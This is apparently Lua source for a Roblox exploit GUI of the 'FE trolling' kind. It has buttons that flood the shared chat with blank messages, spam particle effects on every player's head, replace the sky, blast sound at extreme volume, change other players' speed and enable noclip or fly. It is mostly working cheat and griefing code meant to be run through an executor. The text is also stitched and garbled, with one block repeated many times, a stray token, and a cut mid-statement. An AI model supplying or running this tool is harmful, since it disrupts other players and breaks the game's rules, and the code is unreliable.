end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head818 emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end) function click() s = Instance.new("Sky") s.Name = "Sky" s.Parent = game:GetService("Lighting") s.SkyboxBk = "http://www.roblox.com/asset/?id=111604272791927" s.SkyboxDn = "http://www.roblox.com/asset/?id=111604272791927" s.SkyboxFt = "http://www.roblox.com/asset/?id=111604272791927" s.SkyboxLf = "http://www.roblox.com/asset/?id=111604272791927" s.SkyboxRt = "http://www.roblox.com/asset/?id=111604272791927" s.SkyboxUp = "http://www.roblox.com/asset/?id=111604272791927" game:GetService("Lighting").TimeOfDay = 12 end script.Parent.MouseButton1Down:connect(click) ---MADE BY 777ILILO PLZ DO NOT SKID IT IM SCRIPTING THIS RN ON 2 AM :SOB: end; task.spawn(C_1c); -- StarterGui.ssst.Frame.TextButton.LocalScript local function C_1e() local script = G2L["1e"]; function onClick() local tubers93 = Instance.new("Sound") tubers93.Parent = game:GetService("Workspace") tubers93.SoundId = "rbxassetid://6129291390" tubers93.Playing = true tubers93.Looped = false tubers93.Volume = 99999999999999999 end script.Parent.MouseButton1Down:connect(onClick) end; task.spawn(C_1e); -- StarterGui.ssst.Frame.TextButton.LocalScript local function C_20() local script = G2L["20"]; script.Parent.MouseButton1Click:Connect(function() script.Parent.Parent.Parent.Frame.Visible = false script.Parent.Parent.Parent.Frame2.Visible = true script.Parent.Parent.Parent.Frame2.Position = script.Parent.Parent.Parent.Frame.Position end) end; task.spawn(C_20); -- StarterGui.ssst.Frame2.LocalScript local function C_23() local script = G2L["23"]; -- Made by Real_IceyDev (@lceyDex) -- -- Simple UI dragger (PC Only/Any device that has a mouse) -- local UIS = game:GetService('UserInputService') local frame = script.Parent local dragToggle = nil local dragSpeed = 0.25 local dragStart = nil local startPos = nil local function updateInput(input) local delta = input.Position - dragStart local position = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y) game:GetService('TweenService'):Create(frame, TweenInfo.new(dragSpeed), {Position = position}):Play() end frame.InputBegan:Connect(function(input) if (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then dragToggle = true dragStart = input.Position startPos = frame.Position input.Changed:Connect(function() if input.UserInputState == Enum.UserInputState.End then dragToggle = false end end) end end) UIS.InputChanged:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then if dragToggle then updateInput(input) end end end) end; task.spawn(C_23); -- StarterGui.ssst.Frame2.TextButton.LocalScript local function C_25() local script = G2L["25"]; script.Parent.MouseButton1Down:Connect(function() for i,p in pairs(game:GetService("Players"):GetChildren()) do if p.ClassName == "Player" then p.Character:FindFirstChildOfClass("Humanoid").WalkSpeed += 25 end end end) end; task.spawn(C_25); -- StarterGui.ssst.Frame2.TextButton.LocalScript local function C_27() local script = G2L["27"]; script.Parent.MouseButton1Click:Connect(function() script.Parent.Parent.Parent.Frame.Visible = true script.Parent.Parent.Parent.Frame2.Visible = false script.Parent.Parent.Parent.Frame.Position = script.Parent.Parent.Parent.Frame2.Position end) end; task.spawn(C_27); -- StarterGui.ssst.Frame2.TextButton.LocalScript local function C_2a() local script = G2L["2a"]; script.Parent.MouseButton1Click:Connect(function() script.Parent.RemoteEvent:FireServer() end) end; task.spawn(C_2a); -- StarterGui.ssst.Frame2.TextButton.LocalScript local function C_2d() local script = G2L["2d"]; script.Parent.MouseButton1Click:Connect(function() local Lighting = game:GetService("Lighting") local ColorCorrection = Instance.new("ColorCorrectionEffect", Lighting) function zigzag(X) return math.acos(math.cos(X*math.pi))/math.pi end Counter = 0 Lighting.TimeOfDay = "15:00" while wait(0.01) do ColorCorrection.TintColor = Color3.fromHSV(zigzag(Counter),1,1) Lighting.Ambient = Color3.fromHSV(zigzag(Counter),1,1) Counter += 0.01 end end) end; task.spawn(C_2d); -- StarterGui.ssst.Frame2.TextButton.LocalScript local function C_3e() local script = G2L["3e"]; script.Parent.MouseButton1Click:Connect(function() script.Parent.RemoteEvent:FireServer() end) end; task.spawn(C_3e); -- StarterGui.ssst.Frame2.TextButton.LocalScript local function C_46() local script = G2L["46"]; script.Parent.MouseButton1Click:Connect(function() script.Parent.RemoteEvent:FireServer() end) end; task.spawn(C_46); return G2L["1"], require; end) end; task.spawn(C_10); -- StarterGui.ScreenGui.Frame3.TextButton.LocalScript local function C_12() local script = G2L["12"]; script.Parent.MouseButton1Click:Connect(function() --[=[ d888b db db d888888b .d888b. db db db .d8b. 88' Y8b 88 88 `88' VP `8D 88 88 88 d8' `8b 88 88 88 88 odD' 88 88 88 88ooo88 88 ooo 88 88 88 .88' 88 88 88 88~~~88 88. ~8~ 88b d88 .88. j88. 88booo. 88b d88 88 88 @uniquadev Y888P ~Y8888P' Y888888P 888888D Y88888P ~Y8888P' YP YP CONVERTER ]=] -- Instances: 36 | Scripts: 16 | Modules: 0 | Tags: 0 local G2L = {}; -- StarterGui.ScreenGui G2L["1"] = Instance.new("ScreenGui", game:GetService("Players").LocalPlayer:WaitForChild("PlayerGui")); G2L["1"]["ZIndexBehavior"] = Enum.ZIndexBehavior.Sibling; -- StarterGui.ScreenGui.Frame G2L["2"] = Instance.new("Frame", G2L["1"]); G2L["2"]["BorderSizePixel"] = 4; G2L["2"]["BackgroundColor3"] = Color3.fromRGB(75, 75, 75); G2L["2"]["Size"] = UDim2.new(0, 451, 0, 290); G2L["2"]["Position"] = UDim2.new(0.27123, 0, 0.26307, 0); G2L["2"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2"]["BackgroundTransparency"] = 0.4; -- StarterGui.ScreenGui.Frame.TextButton G2L["3"] = Instance.new("TextButton", G2L["2"]); G2L["3"]["BorderSizePixel"] = 0; G2L["3"]["TextSize"] = 14; G2L["3"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["3"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["3"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["3"]["BackgroundTransparency"] = 0.2; G2L["3"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["3"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["3"]["Text"] = [[1x1x1x1 gui]]; G2L["3"]["Position"] = UDim2.new(0.71489, 0, 0.84162, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["4"] = Instance.new("LocalScript", G2L["3"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["5"] = Instance.new("TextButton", G2L["2"]); G2L["5"]["BorderSizePixel"] = 0; G2L["5"]["TextSize"] = 14; G2L["5"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["5"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["5"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["5"]["BackgroundTransparency"] = 0.2; G2L["5"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["5"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["5"]["Text"] = [[theme music]]; G2L["5"]["Position"] = UDim2.new(0.37129, 0, 0.8393, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["6"] = Instance.new("LocalScript", G2L["5"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["7"] = Instance.new("TextButton", G2L["2"]); G2L["7"]["BorderSizePixel"] = 0; G2L["7"]["TextSize"] = 14; G2L["7"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["7"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["7"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["7"]["BackgroundTransparency"] = 0.2; G2L["7"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["7"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["7"]["Text"] = [[skeleton sky]]; G2L["7"]["Position"] = UDim2.new(0.03875, 0, 0.83651, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["8"] = Instance.new("LocalScript", G2L["7"]); -- StarterGui.ScreenGui.Frame.LocalScript G2L["9"] = Instance.new("LocalScript", G2L["2"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["a"] = Instance.new("TextButton", G2L["2"]); G2L["a"]["BorderSizePixel"] = 0; G2L["a"]["TextSize"] = 14; G2L["a"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["a"]["BackgroundTransparency"] = 0.2; G2L["a"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["a"]["Text"] = [[romania spam]]; G2L["a"]["Position"] = UDim2.new(0.71445, 0, 0.65559, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["b"] = Instance.new("LocalScript", G2L["a"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["c"] = Instance.new("TextButton", G2L["2"]); G2L["c"]["BorderSizePixel"] = 0; G2L["c"]["TextSize"] = 14; G2L["c"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["c"]["BackgroundTransparency"] = 0.2; G2L["c"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["c"]["Text"] = [[flood]]; G2L["c"]["Position"] = UDim2.new(0.37081, 0, 0.65534, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["d"] = Instance.new("LocalScript", G2L["c"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["e"] = Instance.new("TextButton", G2L["2"]); G2L["e"]["BorderSizePixel"] = 0; G2L["e"]["TextSize"] = 14; G2L["e"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["e"]["BackgroundTransparency"] = 0.2; G2L["e"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["e"]["Text"] = [[666]]; G2L["e"]["Position"] = UDim2.new(0.03714, 0, 0.65454, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["f"] = Instance.new("LocalScript", G2L["e"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["10"] = Instance.new("TextButton", G2L["2"]); G2L["10"]["BorderSizePixel"] = 0; G2L["10"]["TextSize"] = 14; G2L["10"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["10"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["10"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["10"]["BackgroundTransparency"] = 0.2; G2L["10"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["10"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["10"]["Text"] = [[theme music]]; G2L["10"]["Position"] = UDim2.new(0.71276, 0, 0.48413, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["11"] = Instance.new("LocalScript", G2L["10"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["12"] = Instance.new("TextButton", G2L["2"]); G2L["12"]["BorderSizePixel"] = 0; G2L["12"]["TextSize"] = 14; G2L["12"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["12"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["12"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["12"]["BackgroundTransparency"] = 0.2; G2L["12"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["12"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["12"]["Text"] = [[T7B3RS93 sound]]; G2L["12"]["Position"] = UDim2.new(0.03544, 0, 0.48106, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["13"] = Instance.new("LocalScript", G2L["12"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["14"] = Instance.new("TextButton", G2L["2"]); G2L["14"]["BorderSizePixel"] = 0; G2L["14"]["TextSize"] = 14; G2L["14"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["14"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["14"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["14"]["BackgroundTransparency"] = 0.2; G2L["14"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["14"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["14"]["Text"] = [[explode]]; G2L["14"]["Position"] = UDim2.new(0.03365, 0, 0.32264, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["15"] = Instance.new("LocalScript", G2L["14"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["16"] = Instance.new("TextButton", G2L["2"]); G2L["16"]["BorderSizePixel"] = 0; G2L["16"]["TextSize"] = 14; G2L["16"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["16"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["16"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["16"]["BackgroundTransparency"] = 0.2; G2L["16"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["16"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["16"]["Text"] = [[raining fire]]; G2L["16"]["Position"] = UDim2.new(0.03522, 0, 0.16733, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["17"] = Instance.new("LocalScript", G2L["16"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["18"] = Instance.new("TextButton", G2L["2"]); G2L["18"]["BorderSizePixel"] = 0; G2L["18"]["TextSize"] = 14; G2L["18"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["18"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["18"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["18"]["BackgroundTransparency"] = 0.2; G2L["18"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["18"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["18"]["Text"] = [[unanchor]]; G2L["18"]["Position"] = UDim2.new(0.37164, 0, 0.16499, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["19"] = Instance.new("LocalScript", G2L["18"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["1a"] = Instance.new("TextButton", G2L["2"]); G2L["1a"]["BorderSizePixel"] = 0; G2L["1a"]["TextSize"] = 14; G2L["1a"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["1a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["1a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["1a"]["BackgroundTransparency"] = 0.2; G2L["1a"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["1a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["1a"]["Text"] = [[ball rain]]; G2L["1a"]["Position"] = UDim2.new(0.71094, 0, 0.16456, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["1b"] = Instance.new("LocalScript", G2L["1a"]); -- StarterGui.ScreenGui.Frame.TextLabel G2L["1c"] = Instance.new("TextLabel", G2L["2"]); G2L["1c"]["BorderSizePixel"] = 0; G2L["1c"]["TextSize"] = 14; G2L["1c"]["BackgroundColor3"] = Color3.fromRGB(32, 32, 32); G2L["1c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["1c"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["1c"]["Size"] = UDim2.new(0, 241, 0, 25); G2L["1c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["1c"]["Text"] = [[Gui made by: Lucas_cubing10]]; G2L["1c"]["Position"] = UDim2.new(0.25805, 0, -0.00299, 0); -- StarterGui.ScreenGui.Frame.TextLabel.UICorner G2L["1d"] = Instance.new("UICorner", G2L["1c"]); G2L["1d"]["CornerRadius"] = UDim.new(0, 4); -- StarterGui.ScreenGui.Frame.ImageLabel G2L["1e"] = Instance.new("ImageLabel", G2L["2"]); G2L["1e"]["BorderSizePixel"] = 0; G2L["1e"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); -- [ERROR] cannot convert ImageContent, please report to "https://github.com/uniquadev/GuiToLuaConverter/issues" G2L["1e"]["Image"] = [[rbxassetid://124868710717730]]; G2L["1e"]["Size"] = UDim2.new(0, 187, 0, 123); G2L["1e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["1e"]["BackgroundTransparency"] = 1; G2L["1e"]["Position"] = UDim2.new(0.29453, 0, -0.42891, 0); -- StarterGui.ScreenGui.Frame.TextButton G2L["1f"] = Instance.new("TextButton", G2L["2"]); G2L["1f"]["BorderSizePixel"] = 0; G2L["1f"]["TextSize"] = 14; G2L["1f"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["1f"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["1f"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["1f"]["BackgroundTransparency"] = 0.2; G2L["1f"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["1f"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["1f"]["Text"] = [[rainbow all]]; G2L["1f"]["Position"] = UDim2.new(0.37378, 0, 0.32078, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["20"] = Instance.new("LocalScript", G2L["1f"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["21"] = Instance.new("TextButton", G2L["2"]); G2L["21"]["BorderSizePixel"] = 0; G2L["21"]["TextSize"] = 14; G2L["21"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["21"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["21"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["21"]["BackgroundTransparency"] = 0.2; G2L["21"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["21"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["21"]["Text"] = [[disco]]; G2L["21"]["Position"] = UDim2.new(0.71383, 0, 0.31788, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["22"] = Instance.new("LocalScript", G2L["21"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["23"] = Instance.new("TextButton", G2L["2"]); G2L["23"]["TextWrapped"] = true; G2L["23"]["BorderSizePixel"] = 0; G2L["23"]["TextSize"] = 14; G2L["23"]["TextScaled"] = true; G2L["23"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["23"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["23"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["23"]["BackgroundTransparency"] = 0.2; G2L["23"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["23"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["23"]["Text"] = [[synapse x de buget executor]]; G2L["23"]["Position"] = UDim2.new(0.37435, 0, 0.4816, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["24"] = Instance.new("LocalScript", G2L["23"]); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_4() local script = G2L["4"]; script.Parent.MouseButton1Click:Connect(function() --[[ WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk! ]] -- Gui to Lua -- Version: 3.2 -- Instances: local ScreenGui = Instance.new("ScreenGui") local Frame = Instance.new("Frame") local Name = Instance.new("TextLabel") local Credits = Instance.new("TextLabel") local ball = Instance.new("TextButton") local noclip = Instance.new("TextButton") local fakelag = Instance.new("TextButton") local plane = Instance.new("TextButton") local destroychat = Instance.new("TextButton") local sit = Instance.new("TextButton") local fly = Instance.new("TextButton") local tp = Instance.new("TextButton") local message = Instance.new("TextButton") local floatingpad = Instance.new("TextButton") local r6 = Instance.new("TextButton") local c00lgui = Instance.new("TextButton") local rejoin = Instance.new("TextButton") --Properties: ScreenGui.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui") ScreenGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling Frame.Parent = ScreenGui Frame.BackgroundColor3 = Color3.fromRGB(0, 0, 0) Frame.Position = UDim2.new(-0.0196145065, 168, 0.642360091, -215) Frame.Size = UDim2.new(0, 417, 0, 280) Name.Name = "Name" Name.Parent = Frame Name.BackgroundColor3 = Color3.fromRGB(255, 0, 0) Name.Size = UDim2.new(0, 417, 0, 25) Name.Font = Enum.Font.GothamBold Name.Text = "1x1x1x1 Gui FE" Name.TextColor3 = Color3.fromRGB(0, 0, 0) Name.TextScaled = true Name.TextSize = 14.000 Name.TextWrapped = true Credits.Name = "Credits" Credits.Parent = Frame Credits.BackgroundColor3 = Color3.fromRGB(255, 0, 0) Credits.Position = UDim2.new(3.65918211e-08, 0, 0.911999941, 0) Credits.Size = UDim2.new(0, 416, 0, 22) Credits.Font = Enum.Font.GothamBold Credits.Text = "By FishNoobAhh" Credits.TextColor3 = Color3.fromRGB(0, 0, 0) Credits.TextScaled = true Credits.TextSize = 14.000 Credits.TextWrapped = true ball.Name = "ball" ball.Parent = Frame ball.BackgroundColor3 = Color3.fromRGB(255, 0, 0) ball.Position = UDim2.new(0.0511240065, 0, 0.154811308, 0) ball.Size = UDim2.new(0, 79, 0, 31) ball.Font = Enum.Font.GothamBold ball.Text = "become ball" ball.TextColor3 = Color3.fromRGB(0, 0, 0) ball.TextScaled = true ball.TextSize = 14.000 ball.TextWrapped = true noclip.Name = "noclip" noclip.Parent = Frame noclip.BackgroundColor3 = Color3.fromRGB(255, 0, 0) noclip.Position = UDim2.new(0.0511240065, 0, 0.308153421, 0) noclip.Size = UDim2.new(0, 79, 0, 31) noclip.Font = Enum.Font.GothamBold noclip.Text = "noclip" noclip.TextColor3 = Color3.fromRGB(0, 0, 0) noclip.TextScaled = true noclip.TextSize = 14.000 noclip.TextWrapped = true fakelag.Name = "fakelag" fakelag.Parent = Frame fakelag.BackgroundColor3 = Color3.fromRGB(255, 0, 0) fakelag.Position = UDim2.new(0.0511240065, 0, 0.454681605, 0) fakelag.Size = UDim2.new(0, 79, 0, 34) fakelag.Font = Enum.Font.GothamBold fakelag.Text = "fe fake lag" fakelag.TextColor3 = Color3.fromRGB(0, 0, 0) fakelag.TextScaled = true fakelag.TextSize = 14.000 fakelag.TextWrapped = true fakelag.MouseButton1Down:Connect(function() while true do game.Players.LocalPlayer.Character.Torso.Anchored = true game.Players.LocalPlayer.Character.Humanoid.Jump = true wait(0.1) game.Players.LocalPlayer.Character.Torso.Anchored = false game.Players.LocalPlayer.Character.Humanoid.Sit = true wait(0.1) end end) plane.Name = "plane" plane.Parent = Frame plane.BackgroundColor3 = Color3.fromRGB(255, 0, 0) plane.Position = UDim2.new(0.386630774, 0, 0.154811308, 0) plane.Size = UDim2.new(0, 83, 0, 31) plane.Font = Enum.Font.GothamBold plane.Text = "become a plane" plane.TextColor3 = Color3.fromRGB(0, 0, 0) plane.TextScaled = true plane.TextSize = 14.000 plane.TextWrapped = true destroychat.Name = "destroy chat" destroychat.Parent = Frame destroychat.BackgroundColor3 = Color3.fromRGB(255, 0, 0) destroychat.Position = UDim2.new(0.391426951, 0, 0.308153421, 0) destroychat.Size = UDim2.new(0, 83, 0, 31) destroychat.Font = Enum.Font.GothamBold destroychat.Text = "destroy chat fe (op warning)" destroychat.TextColor3 = Color3.fromRGB(0, 0, 0) destroychat.TextScaled = true destroychat.TextSize = 14.000 destroychat.TextWrapped = true destroychat.MouseButton1Down:Connect(function() for i = 1, 4 do local args = { [1] = "\194\160\194\160", [2] = "All" } game:GetService("ReplicatedStorage"):WaitForChild("DefaultChatSystemChatEvents"):WaitForChild("SayMessageRequest"):FireServer(unpack(args)) end end) sit.Name = "sit" sit.Parent = Frame sit.BackgroundColor3 = Color3.fromRGB(255, 0, 0) sit.Position = UDim2.new(0.391426951, 0, 0.457778603, 0) sit.Size = UDim2.new(0, 83, 0, 34) sit.Font = Enum.Font.GothamBold sit.Text = "sit" sit.TextColor3 = Color3.fromRGB(0, 0, 0) sit.TextScaled = true sit.TextSize = 14.000 sit.TextWrapped = true sit.MouseButton1Down:Connect(function() local human = kevyn.Parent:findFirstChild("Humanoid") if (human ~= nil)then human.Sit=true end end) fly.Name = "fly" fly.Parent = Frame fly.BackgroundColor3 = Color3.fromRGB(255, 0, 0) fly.Position = UDim2.new(0.723578513, 0, 0.154811308, 0) fly.Size = UDim2.new(0, 89, 0, 31) fly.Font = Enum.Font.GothamBold fly.Text = "fly" fly.TextColor3 = Color3.fromRGB(0, 0, 0) fly.TextScaled = true fly.TextSize 